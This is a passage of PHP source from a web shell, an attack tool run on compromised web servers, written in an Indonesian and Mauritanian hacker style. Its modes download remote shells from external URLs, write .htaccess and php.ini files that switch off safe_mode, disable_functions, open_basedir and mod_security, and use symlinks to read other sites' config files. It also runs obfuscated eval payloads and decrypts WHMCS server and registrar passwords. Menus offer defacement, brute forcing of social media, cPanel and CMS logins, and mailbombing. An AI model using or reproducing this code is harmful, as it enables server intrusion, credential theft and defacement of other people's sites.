/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'suphp'))
{echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass PHP Suhosin Function Blacklist</span><center><br>';
echo "<br><form method='POST'>
<input class='inputz' type='text' name='path' size='25' value=".dirname(__FILE__)." '>
<input class='inputz' type='text' name='shell' size='25' value='http://files.xakep.biz/shells/PHP/wso.txt'>
<input class='inputz' type='submit' value='Bypass' name='start'><br><br>";
echo "<textarea class='inputz' rows='15' cols='78'>virusa worm Mode :)
";
if($_POST['start']) {
$path = $_POST['path'];
$file = $_POST['shell'];
$htaccess = "suPHP_ConfigPath $path/vworm/php.ini";
$phpini = "c2FmZV9tb2RlID0gT0ZGCnN1aG9zaW4uZXhlY3V0b3IuZnVuYy5ibGFja2xpc3QgPSBOT05FCmRpc2FibGVfZnVuY3Rpb25zID0gTk9ORQ==";
$dir = "vworm";
if(file_exists($dir)) {
echo "[+] vworm Folder There Before :)
";
} else {
@mkdir($dir); {
echo "[+] vworm Folder Created :D
";
} }
#Generate Sh3LL
$fopen = fopen("vworm/vw.php",'w');
$shell = @file_get_contents($file);
$swrite = fwrite($fopen ,$shell);
if($swrite){
echo "[+] Shell Has Been Generated Name : vw.php
";
} else {
echo "[~] Can't Generate Shell
";
}
fclose($fopen);
#Generate Htaccess
$hopen = fopen("vworm/.htaccess", "w");
$hwrite = fwrite($hopen, $htaccess);
if($hwrite){
echo "[+] htaccess Generated
";
} else {
echo "[~] Can't Generate htaccess
";
}
fclose($hopen);
$ini = fopen("vworm/php.ini" ,"w");
$php = fwrite($ini, base64_decode($phpini));
if($php){
echo "[+] PHP.INI Generated";
} else {
echo "[-] Can't Generate PHP.INI";
}
}
echo "</textarea><br><br><br>";
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'suppet'))
{
echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass Functions suPHP_ConfigPath Security</span><center><br>';
echo '<center><form method=post><br><br>
<input class="inputzbut" type=submit name=gnr value="Generate htaccess" /></form></center>';
error_reporting(0);
if(isset($_POST['gnr']))
{
mkdir('suPHP2',0755);
$rr = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
</IfModule>
<Limit GET POST>
order deny,allow
deny from all
allow from all
</Limit>
<Limit PUT DELETE>
order deny,allow
deny from all
</Limit>
suPHP_ConfigPath ".getcwd()."/php.ini";
$g = fopen('suPHP2/.htaccess','w');
fwrite($g,$rr);
echo "<br><br><font color=red size=2 face=\"Courier New\">.htaccess Has Been Generated Successfully</font></center><br><br>";
echo "<center><br><b class='cone'><a href=suPHP2/ target='_blank'><font face='Tahoma' color='#00bb00' size='2pt'>Click here </font></a></b></center><br>";
}
echo '<center><form method=post><br><br>
<input class="inputzbut" type=submit name=gnrp value="Generate php.ini" /></form></center>';
error_reporting(0);
if(isset($_POST['gnrp']))
{
mkdir('suPHP2',0755);
$rr = "safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF";
$g = fopen('suPHP2/php.ini','w');
fwrite($g,$rr);
echo "<br><br><font color=red size=2 face=\"Courier New\">php.ini Has Been Generated Successfully</font></center><br><br>";
echo "<center><br><b class='cone'><a href=suPHP2/ target='_blank'><font face='Tahoma' color='#00bb00' size='2pt'>Click here </font></a></b></center><br>";
}
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'setphr'))
{echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass suPHP Security</span><center><br>';
echo '<center><form method=post><br><br>
<input class="inputzbut" type=submit name=gnr value="Generate htaccess" /></form></center>';
error_reporting(0);
if(isset($_POST['gnr']))
{
mkdir('suPHP',0755);
$rr = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
</IfModule>
<Limit GET POST>
order deny,allow
deny from all
allow from all
</Limit>
<Limit PUT DELETE>
order deny,allow
deny from all
</Limit>
suPHP_ConfigPath ".getcwd()."/php.ini";
$g = fopen('suPHP/.htaccess','w');
fwrite($g,$rr);
echo "<br><br><font color=red size=2 face=\"Courier New\">.htaccess Has Been Generated Successfully</font></center><br><br>";
echo "<center><br><b class='cone'><a href=suPHP/ target='_blank'><font face='Tahoma' color='#00bb00' size='2pt'>Click here </font></a></b></center><br>";
}
echo '<center><form method=post><br><br>
<input class="inputzbut" type=submit name=gnrp value="Generate php.ini" /></form></center>';
error_reporting(0);
if(isset($_POST['gnrp']))
{
mkdir('suPHP',0755);
$rr = "safe_mode = OFF
Safe_mode_gid = OFF
disable_functions = NONE
disable_classes = NONE
open_basedir = OFF
suhosin.executor.func.blacklist = NONE";
$g = fopen('suPHP/php.ini','w');
fwrite($g,$rr);
echo "<br><br><font color=red size=2 face=\"Courier New\">php.ini Has Been Generated Successfully</font></center><br><br>";
echo "<center><br><b class='cone'><a href=suPHP/ target='_blank'><font face='Tahoma' color='#00bb00' size='2pt'>Click here </font></a></b></center><br>";
}
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'simpelb'))
{
echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Simple Bypasser</span><center><br>';
echo '<br><font face="Tahoma" color="#007700" size="2pt">Create Folder : </font>
<input class="inputzbut" type="text" name="dir" size="43" value="worm">
<input class="inputzbut" type="submit" value="Create" name="folder"> <br> <br>
<font face="Tahoma" color="#007700" size="2pt">Get File : </font><br>
<input class="inputzbut" type="text" name="get" size="16" value="url file .txt">
<input class="inputzbut" type="text" name="name" size="15" value="worm.php">
<input class="inputzbut" type="text" name="select" size="16" value='.dirname(__FILE__).'>
<input class="inputzbut" type="submit" value="GET" name="fileget"> <br> <br>
<font face="Tahoma" color="#007700" size="2pt">Fopen File : </font><br>
<input class="inputzbut" type="text" name="save" size="29" value="vwo.php">
<input class="inputzbut" type="text" name="path2" size="29" value='.dirname(__FILE__).'><br><br>
<textarea class="inputzbut" name="source" cols="78" rows="15">PHP Code</textarea><br><br>
<input class="inputzbut" type="submit" value="Save" name="fopen"> <br><br><br>';
if($_POST['folder']) {
$mk = $_POST['dir'];
$func = "bWtkaXI=";
$de = base64_decode($func);
$rules1 = $de($mk);
if ($mk) {
echo "<br><b class='cone'>[+] Done [ $mk ] Created !</b>";
} }
# File Get Contents
if($_POST['fileget']) {
$get = $_POST['get'];
$n4m = $_POST['name'];
$path = $_POST['select'];
$func2 = "ZmlsZV9nZXRfY29udGVudHM=";
$de2 = base64_decode($func2);
$rules2 = $de2($get);
$open = fopen("$path/$n4m", 'w');
fwrite($open,$rules2);
fclose($open);
if($get) {
echo "done";
} }
#
# fopen File
if($_POST['fopen']) {
$save = $_POST['save'];
$path2 = $_POST['path2'];
$open2 = fopen("$path2/$save", 'w');
$source1 = $_POST['source'];
$source2 = stripslashes($source1);
fwrite($open2 ,$source2);
fclose($open2);
if($open2) {
echo "<b class='tmp'>Done</b> <br><br><br>";
} }
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'ritf'))
{
echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass Read File</span><center><br>';
echo "<form method='POST' />
<select class='inputzbut' name='website'>
<option value='show_source'>show_source</option>
<option value='highlight_file'>highlight_file</option>
<option value='readfile'>readfile</option>
<option value='include'>include</option>
<option value='require'>require</option>
<option value='file'>file</option>
<option value='fread'>fread</option>
<option value='file_get_contents'>file_get_contents</option>
<option value='fgets'>fgets</option>
<input class='inputzbut' type='text' name='file' size='22' /><input class='inputzbut' type='submit' name='start' value='Read Now' />
</select>";
function readfils($file) {
$web = $_POST['website'];
switch ($web)
{
case 'show_source': $show = @show_source($file); break;
case 'highlight_file': $highlight = @highlight_file($file); break;
case 'readfile': $readfile = @readfile($file); break;
case 'include': $include = @include($file); break;
case 'require': $require = @require($file); break;
case 'file': $file = @file($file); foreach ($file as $key => $value) { print $value; } break;
case 'fread': $fopen = @fopen($file,"r") or die("Unable to open file!"); $fread = @fread($fopen,90000); fclose($fopen); print_r($fread); break;
case 'file_get_contents': $file_get_contents = @file_get_contents($file); print_r($file_get_contents); break;
case 'fgets': $fgets = @fopen($file,"r") or die("Unable to open file!"); while(!feof($fgets)) { echo fgets($fgets); } fclose($fgets); break;
default:
echo "{$web} Not There";
}
}
echo "<br><br><textarea class='inputzbut' rows='15' cols='68' />";
$file = trim($_POST['file']);
if($_POST['start'])
{
readfils($file); }
echo "</textarea><br><br><br><br>";
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'baidir'))
{echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass Chmod Directory Priv8</span><br>Coded By Mauritania Attacker<center><br><br>';
echo '<form action="" method="post">
<p>
<center>
<input class="inputzbut" type="text" name="file" placeholder="/home/user/public_html/directory">
<input class="inputzbut" type="submit" name="bypass" value="Bypass Chmod Dir">
</form></center></p><br><br><br>';
if($_POST)
{
$mauritania = $_POST['file'];
$ch = @chmod($mauritania,'0311');
if($ch)
{
echo "[+] Directory <font face='Tahoma' size='3' color='#b0b000'> =>{$mauritania} => [+] Permission Changed Successfully Bypassed ^_^ [+]";
}
else
{
echo "[-] Directory <font face='Tahoma' size='3' color='red'> =>{$mauritania} => [-] Permission can't be changed , maybe chmod function is disabled :( [-]";
}
}
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'forb14'))
{
echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass Forbidden 2014</span><br>Coded by Mauritania Attacker<center><br><br>';
$fp = fopen("php.ini","w+");
fwrite($fp,"safe_mode = OFF
Safe_mode_gid = OFF
disable_functions = NONE
disable_classes = NONE
open_basedir = OFF
suhosin.executor.func.blacklist = NONE ");
echo'
<form method="post">
<input class="inputzbut" type="text" name="file" value="/home/user/public_html/config.php" size="60"/><br /><br />
<input class="inputzbut" type="text" name="ghostfile" value="config.txt" size="60"/><br /><br />
<input class="inputzbut" type="submit" value="Bypass" name="symlink" /> <br /><br />
</form>
';
echo '<div class="tul"><b>PHP VERSION:</b> <font color="white" face="shell, Geneva, sans-serif" style="font-size: 8pt">';echo phpversion();
echo '<br><br><br>';
$fichier = $_POST['file'];
$ghostfile = $_POST['ghostfile'];
$symlink = $_POST['symlink'];
if ($symlink)
{
$dir = "mauritania";
if(file_exists($dir)) {
echo "<br><font color='red'>[+] mauritania Folder Already Exist _ are you Drunk XD !!!</font><br />";
} else {
@mkdir($dir); {
echo '<br><b class="cont" align="center"><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:12px;color:white;>\!/ mauritania Folder Created ^_^ \!/ </b></b>';
echo '<br><b class="cont" align="center"><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:12px;color:white;>File Retrieved Successfully</b></b>';
} }
$priv9 = "#Priv9 htaccess By Mauritania Attacker
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
Options Indexes FollowSymLinks
DirectoryIndex $ghostfile
ForceType text/plain
AddType text/plain .php
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
SetEnv PHPRC ".dirname(__FILE__)."/mauritania/php.ini
suPHP_ConfigPath ".dirname(__FILE__)."/mauritania/php.ini
";
$f =@fopen ('mauritania/.htaccess','w');
@fwrite($f , $priv9);
@symlink("$fichier","mauritania/$ghostfile");
echo '<br /><a target="_blank" href="mauritania/" ><font color="white" size"12">'.$ghostfile.'</a></font>';
}
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'smod14'))
{echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass SafeMode 2014 Priv8</span><br>Coded by Mauritania Attacker<center><br><br>';
echo "<br><form method='POST'>
<center><font color='#007700' size='2' face='shell'>Cwd </font><input class='inputzbut' type='text' size='40' name='zero' value=".dirname(__FILE__)." <font color='#b0b000' size='8' face='Tahoma'></font></center>
<center><font color='#007700' size='2' face='shell'>Shell </font><input class='inputzbut' type='text' size='40' name='shell' value='http://pastebin.com/raw.php?i=2gmt5XFH' <font color='#b0b000' size='8' face='Tahoma'></font></center>
<center><font color='#007700' size='2' face='shell'>ini.php </font><input class='inputzbut' type='text' size='40' name='rim' value='http://pastebin.com/raw.php?i=sEbXwVvt' <font color='#b0b000' size='8' face='Tahoma'></font></center><br>
<center><input class='inputzbut' type='submit' value='Bypass SafeMode' name='start' ><br></font></center><br>";
echo "<center><textarea class='inputzbut' rows='12' cols='60'>Results Will Appear Here ^_^
";
if($_POST['start']) {
$zero = $_POST['zero'];
$file = $_POST['shell'];
$mauritania = $_POST['rim'];
$htaccess = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
</IfModule>
<Limit GET POST>
order deny,allow
deny from all
allow from all
</Limit>
<Limit PUT DELETE>
order deny,allow
deny from all
</Limit>
SetEnv PHPRC $zero/ghost/php.ini";
$phpini = "c2FmZV9tb2RlID0gT0ZGDQpTYWZlX21vZGVfZ2lkID0gT0ZGDQpkaXNhYmxlX2Z1bmN0aW9ucyA9IE5PTkUNCmRpc2FibGVfY2xhc3NlcyA9IE5PTkUNCm9wZW5fYmFzZWRpciA9IE9GRg0Kc3Vob3Npbi5leGVjdXRvci5mdW5jLmJsYWNrbGlzdCA9IE5PTkU=";
$dir = "ghost";
if(file_exists($dir)) {
echo "[+] ghost Folder Already Exist are you drunk :o xD !
";
} else {
@mkdir($dir); {
echo "[+] ghost Folder Has Been Created Nygga :3 !
";
} }
#Generate Sh3LL
$fopen = fopen("ghost/priv8.php5",'w');
$shell = @file_get_contents($file);
$swrite = fwrite($fopen ,$shell);
if($swrite){
echo "Shell Has Been Downloaded : $zero/ghost/priv8.php5
";
} else {
echo "Can't Download Shell :( do it manually :D
";
}
fclose($fopen);
#Generate Htaccess
$kolsv = fopen("ghost/.htaccess", "w");
$hwrite = fwrite($kolsv, $htaccess);
if($hwrite){
echo ".htaccess Generated Successfully \!/";
} else {
echo "Can't Generate Htaccess";
}
fclose($kolsv);
#Generate ini.php
$xopen = fopen("ghost/ini.php",'w');
$rim = @file_get_contents($mauritania);
$zzz = fwrite($xopen ,$rim);
if($zzz){
echo "ini.php Has Been Downloaded \!/";
} else {
echo "Can't Download ini.php :( do it manually :D ";
}
fclose($xopen);
$ini = fopen("ghost/php.ini" ,"w");
$php = fwrite($ini, base64_decode($phpini));
if($php){
echo "PHP.INI Generated Successfully \!/";
} else {
echo "[-] Can't Generate PHP.INI";
}
}
echo "</textarea></center>";
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'ensimz'))
{
echo '<br><center><b>-=Enable Symlink If Disabled=-</b><center><br>';
echo '<br><center><form method=post><br><br>
<input class= "inputzbut" type=submit name=ens value="Enable Symlink" /></form></center>';
error_reporting(0);
if(isset($_POST['ens']))
{
mkdir('ensim',0755);
$rr ='<Directory "/">
Options All
Options +FollowSymLinks
Options +SymLinksIfOwnerMatch
Options +ExecCGI
AllowOverride AuthConfig FileInfo Indexes Limit Options=Includes,Includes,Indexes,MultiViews,SymLinksIfOwnerMatch
</Directory>';
$g = fopen('ensim/.htaccess','w');
fwrite($g,$rr);
echo "<br><br><font face='Tahoma' color='#ff0000' size='2pt'>Symlink Function Enabled Successfully in apache pre main conf</font></center>";
}
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'pytcpz')){eval(gzinflate(base64_decode($pytcpz))); "</div>";}
elseif(isset($_GET['x']) && ($_GET['x'] == 'simbyz')){eval(gzinflate(base64_decode($simbyz))); "</div>";}
elseif(isset($_GET['x']) && ($_GET['x'] == 'cpnlndftpotdfr')){eval(gzinflate(base64_decode($cpnlndftpotdfr))); "</div>";}
elseif(isset($_GET['x']) && ($_GET['x'] == 'indomieseleraku')){eval(gzinflate(base64_decode($indomieseleraku))); "</div>";}
elseif(isset($_GET['x']) && ($_GET['x'] == 'shellfinder')){eval(gzinflate(base64_decode($shellfinder))); "</div>";}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql')){eval(gzinflate(base64_decode($mysql))); "</div>";}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mpcz')){eval(gzinflate(base64_decode($mpcz))); "</div>";}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mailfilter')){eval(gzinflate(base64_decode($mailfilter))); "</div>";}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mailbomber')){eval(gzinflate(base64_decode($mailbomber))); "</div>";}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'bingreverse'))
{
?>
<br><br><br>
<center><div id="sitelist"><a onClick="window.open('http://www.viewdns.info/reverseip/?host=<?php echo $_SERVER ['SERVER_ADDR']; ?>','POPUP','width=900 0,height=500,scrollbars=10');return false;" href="http://www.viewdns.info/reverseip/?host=<?php echo $_SERVER ['SERVER_ADDR']; ?>"><div id='menu'>=> DNS Reverse IP <=</a></center>
<br><br><br>
<center><div id="sitelist"><a onClick="window.open('http://www.bing.com/search?q=ip%3A<?php echo $_SERVER ['SERVER_ADDR']; ?>+paypal','POPUP','width=900 0,height=500,scrollbars=10');return false;" href="http://www.bing.com/search?q=ip%3A<?php echo $_SERVER ['SERVER_ADDR']; ?>+paypal"><div id='menu'>=> Paypal on Server <=</a></center>
<br><br><br>
<center><div id="visa"><a onClick="window.open('http://www.bing.com/search?q=ip%3A<?php echo $_SERVER ['SERVER_ADDR']; ?>+visa+master','POPUP','width=900 0,height=500,scrollbars=10');return false;" href="http://www.bing.com/search?q=ip%3A<?php echo $_SERVER ['SERVER_ADDR']; ?>+visa+master"><div id='menu'>=> CC on Server <=</a></center>
<?php
}
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcsdec'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=whmcsdec" method="post">
<?php
function decrypt ($string,$cc_encryption_hash)
{
$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
$hash_key = _hash ($key);
$hash_length = strlen ($hash_key);
$string = base64_decode ($string);
$tmp_iv = substr ($string, 0, $hash_length);
$string = substr ($string, $hash_length, strlen ($string) - $hash_length);
$iv = $out = '';
$c = 0;
while ($c < $hash_length)
{
$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
++$c;
}
$key = $iv;
$c = 0;
while ($c < strlen ($string))
{
if (($c != 0 AND $c % $hash_length == 0))
{
$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
}
$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
++$c;
}
return $out;
}
function _hash ($string)
{
if (function_exists ('sha1'))
{
$hash = sha1 ($string);
}
else
{
$hash = md5 ($string);
}
$out = '';
$c = 0;
while ($c < strlen ($hash))
{
$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
$c += 2;
}
return $out;
}
echo "
<br><center><font size='5' color='#FFFFFF'><b>+--==[ WHMCS Decoder ]==--+</b></font></center>
<center>
<br>
<FORM action='' method='post'>
<input type='hidden' name='form_action' value='2'>
<br>
<table class=tabnet style=width:320px;padding:0 1px;>
<tr><th colspan=2>WHMCS Decoder</th></tr>
<tr><td>db_host </td><td><input type='text' style='color:#FFFFFF;background-color:' class='inputz' size='38' name='db_host' value='localhost'></td></tr>
<tr><td>db_username </td><td><input type='text' style='color:#FFFFFF;background-color:' class='inputz' size='38' name='db_username' value=''></td></tr>
<tr><td>db_password</td><td><input type='text' style='color:#FFFFFF;background-color:' class='inputz' size='38' name='db_password' value=''></td></tr>
<tr><td>db_name</td><td><input type='text' style='color:#FFFFFF;background-color:' class='inputz' size='38' name='db_name' value=''></td></tr>
<tr><td>cc_encryption_hash</td><td><input style='color:#FFFFFF;background-color:' type='text' class='inputz' size='38' name='cc_encryption_hash' value=''></td></tr>
<td> <INPUT class='inputzbut' type='submit' style='color:#FFFFFF;background-color:' value='Submit' name='Submit'></td>
</table>
</FORM>
</center>
";
if($_POST['form_action'] == 2 )
{
//include($file);
$db_host=($_POST['db_host']);
$db_username=($_POST['db_username']);
$db_password=($_POST['db_password']);
$db_name=($_POST['db_name']);
$cc_encryption_hash=($_POST['cc_encryption_hash']);
$link=mysql_connect($db_host,$db_username,$db_password) ;
mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblservers");
while($v = mysql_fetch_array($query)) {
$ipaddress = $v['ipaddress'];
$username = $v['username'];
$type = $v['type'];
$active = $v['active'];
$hostname = $v['hostname'];
echo("<center><table border='1'>");
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>Type</td><td>$type</td></tr>");
echo("<tr><td>Active</td><td>$active</td></tr>");
echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
echo("<tr><td>Username</td><td>$username</td></tr>");
echo("<tr><td>Password</td><td>$password</td></tr>");
echo "</table><br><br></center>";
}
$link=mysql_connect($db_host,$db_username,$db_password) ;
mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblregistrars");
echo("<center>Domain Reseller <br><table class=tabnet border='1'>");
echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
while($v = mysql_fetch_array($query)) {
$registrar = $v['registrar'];
$setting = $v['setting'];
$value = decrypt ($v['value'], $cc_encryption_hash);
if ($value=="") {
$value=0;
}
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
}
}
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'about'))
{ ?>
<center>
Maklumi aja ya om kalo script saya jelek . maklum baru belajar coding :v <br>Kalo ada request atau apa ke blog ane cr1p.blogspot.com wkwkwk :v <br> udah ah , gw gak pandai ngebait <br>thx to : IndonesiaCodeParty , X'inject , google , lab kom smansa pare buwat coding , pt gudang garam tbk , tajimas , HsH untuk sc sabun masalnya , embuh sopo maneh lali aku dancok :v
</center>
<?php
}
/////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////halamanmenu///// ///////////////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'bypasmenu'))
{
?>
<br><br><b><center>-=Bypass Menu=-</b><center><br><div id="menu" align="center">
<a href="?<?php echo "y=".$pwd; ?>&x=grasy">Bypass /etc/passwd</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=nemcon">Bypass Users Server</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=cgipl">Bypass Perl Security</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=pytcpz">Bypass Forbidden with Python via TCP Protocol</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=bypsrootwzp">Bypass Root Path with Zip File</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=bforb">Bypass Root Path with system function</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=rootexecbpass">Bypass Root Path with exec function</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=rootshelleexecbpass">Bypass Root Path with shell_exec function</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=posget">Bypass posix_getpwuid</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=suphp">Bypass PHP Suhosin function blacklist</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=suppet">Bypass Functions suPHP_ConfigPath</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=setphr">Bypass suPHP Security</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=simpelb">Simple Bypasser</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=ritf">Read Files</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=baidir">Bypass Chmod Directory</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=forb14">Bypass Forbidden 2014</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=smod14">Bypass SafeMode 2014 Priv8</a><br><br></center>
<br></div>
<?php
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////ancox///// ///////////////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'symlinkmenu'))
{
?>
<br><br><b><center>-=Symlink Menu=-</b><center><br><div id="menu" align="center">
<a href="?<?php echo "y=".$pwd; ?>&x=symsr">Symlink Server</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=symfil">Symlink File</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=symlink">Symlink Server 2</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=domainv">Domain Viewer</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=ensimz">Enable Symlink If Disable</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=pytcpz">Bypass Forbidden with Python via TCP Protocol</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=simbyz">Symlink Bypass 2014</a><br><br>
</center>
<br></div>
<?php
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////ancox///// ///////////////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'wpmenu'))
{
?>
<br><br><b><center>-=Wordpress Tools=-</b><center><br><div id="menu" align="center">
<a href="?<?php echo "y=".$pwd; ?>&x=wpnu">Wordpress Auto Deface</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=wpbrute">Wordpress BruteForce</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=wp-reset">Wordpress Reset Password</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=mpcz">WordPress Mass Password Changer</a><br><br>
</center>
<br></div>
<?php
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////ancox///// ///////////////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jmmenu'))
{
?>
<br><br><b><center>-=Joomla Tools=-</b><center><br><div id="menu" align="center">
<a href="?<?php echo "y=".$pwd; ?>&x=jmnu">Joomla Auto Deface</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=jbrute">Joomla BruteForce</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=jm-reset">Joomla Reset Password</a><br><br>
</center>
<br></div>
<?php
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////ancox///// ///////////////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'bfmenu'))
{
?>
<br><br><b><center>-=Bruteforce Menu=-</b><center><br><div id="menu" align="center">
<a href="?<?php echo "y=".$pwd; ?>&x=fbrute">Facebook BruteForce</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=tbrute">Twitter BruteForce</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=gbrute">Email Bruteforce</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=wpbrute">WordPress BruteForce</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=jbrute">Joomla BruteForce</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=brute">Cpanel BruteForce</a><br><br></center>
<br></div>
<?php
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cpmenu'))
{
?>
<br><br><b><center>-=Cpanel Menu=-</b><center><br><div id="menu" align="center">
<a href="?<?php echo "y=".$pwd; ?>&x=cpauto">Cpanel Auto Crack</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=brute">Cpanel BruteForce</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=cpnlndftpotdfr">Cpanel & FTP Auto Deface</a><br><br>
</center>
<br></div>
<?php
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'litespeedconfig')){ eval(gzinflate(base64_decode($litespeedconfig))); "</div>"; }
elseif(isset($_GET['x']) && ($_GET['x'] == 'joneshackel')){ eval(gzinflate(base64_decode($joneshackel))); "</div>"; }
elseif(isset($_GET['x']) && ($_GET['x'] == 'grabconfig')){
?>
<center>
<form action="?y=<?php echo $pwd; ?>&x=grabconfig" method="post">
<br><br><center><b><font size=4>-=Config Grabber=-</font></b></center><br>
<?php
echo "
<form method='POST'>
</head>
<style>
textarea {
resize:none;
color: #000000 ;
background-color:#000000;
font-size:8pt; color:#ffffff;
border:1px solid white ;
border-left: 4px solid white ;
width:543px;
height:400px;
}
input {
color: #000000;
border:1px dotted white;
}
</style>";
